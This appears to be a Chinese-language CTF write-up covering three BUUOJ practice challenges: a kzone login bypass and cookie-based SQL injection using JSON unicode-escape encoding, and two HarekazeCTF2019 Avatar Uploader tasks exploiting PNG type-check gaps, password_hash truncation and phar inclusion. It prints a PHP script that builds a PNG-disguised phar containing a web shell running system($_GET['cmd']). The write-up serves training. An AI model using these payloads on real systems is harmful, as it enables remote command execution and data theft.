记录buuoj刷题
kzone
考点:代码审计、sql注入、json编码绕过
访问链接会跳转到qq空间登录页面,用dirsearch可以爆破到www.zip
文件泄露,下载代码进行审计,审计代码大致流程,可以发现included/member.php中存在一处弱类型比较
如果想要利用,直接访问/include/member.php是不可以的,必须是从/include/common.php中包含进来,因为要满足
1 | if (!defined('IN_CRONLITE')) exit(); |
可以看到在/admin/index.php
所以可以访问admin/index.php,利用弱类型比较绕过,
分析程序逻辑还可以用另一个方法绕过,输入一个不存在的admin_user,那么查询出来的密码就为空,同时LOGINKEY可以在源码中找到,
之后找注入点,源码对GET、POST、COOKIE、XFF都进行了过滤,不能注入。但在member.php
对cookie先进行过滤再json解码,所以可以通过编码绕过过滤。尝试使用sqlmap编写tamper但是没有成功。
1 | payload = payload.replace('u', 'u0075') |
编写脚本
1 | import requests |
[HarekazeCTF2019]Avatar Uploader 1
考点:代码审计、文件上传类型判断缺陷
题目给了源码,是一个文件上传类型题,可以在upload.php中看到
源码中先对文件大小进行判断,然后对文件类型进行了两次判断,第一次是用finfo_file()
,限制文件类型必须为image/png
。然后又用getimagesize()
判断,如果文件类型不为IMAGETYPE_PNG,得到flag。
1 |
|
对上面的图片
- finfo_file:判断类型为imge/png
- getimagesize:不能判断
所以可以绕过判断得到flag
[HarekazeCTF2019]Avatar Uploader 2
考点:代码审计、文件包含
源码和上一题的源码一样,第一个flag在文件上传出,第二个flag考点在文件包含。审计源码,在index.php中存在include()
。
尽管include()
限制了后缀,但我们可以利用phar
来解决。接下来理清代码执行流程,重点是源码对session的操作。题目给了提示:password_hash()
函数。
这个函数在password参数超过72后,即使72位后面的字符不相同,也返回相同的散列后的密码。接下来看一下源码的session处理机制。
在index.php中会new一个session,然后执行SecureClientSession
类的析构函数,将session认证后,解码后赋值给$data
。我们需要伪造session值,使它能够经过认证而且能够在$data
中增加theme
变量。然后发现
所以在上传文件后未经过重定向的session的值为
eyJuYW1lIjoidHR0dHQiLCJhdmF0YXIiOiIyN2E5NDU4Yi5wbmciLCJmbGFzaCI6eyJ0eXBlIjoiaW5mbyIsIm1lc3N
hZ2UiOiJZb3VyIGF2YXRhciBoYXMgYmVlbiBzdWNjZXNzZnVsbHkgdXBkYXRlZCEifX0.JDJ5JDEwJEM0c3F4W
WQ0QlNFaUExZkZCb0t3NGU4eGlXL0NYdk8yZnJUT1UzWUZXd2lRZktwdlJnaU8y
$data
json编码后为{"name":"ttttt","avatar":"27a9458b.png","flash{"type":"info","message":"Your avatar has been successfully updated!"}}
长度明显超过72,然后在session中添加theme
达到效果。
解题步骤
生成phar文件
1
2
3
4
5
6
7
8
//89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->addFromString('exp.css', '<?php system($_GET["cmd"]); ?>');
$phar->setStub($png_header . '<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();上传文件修改session
执行命令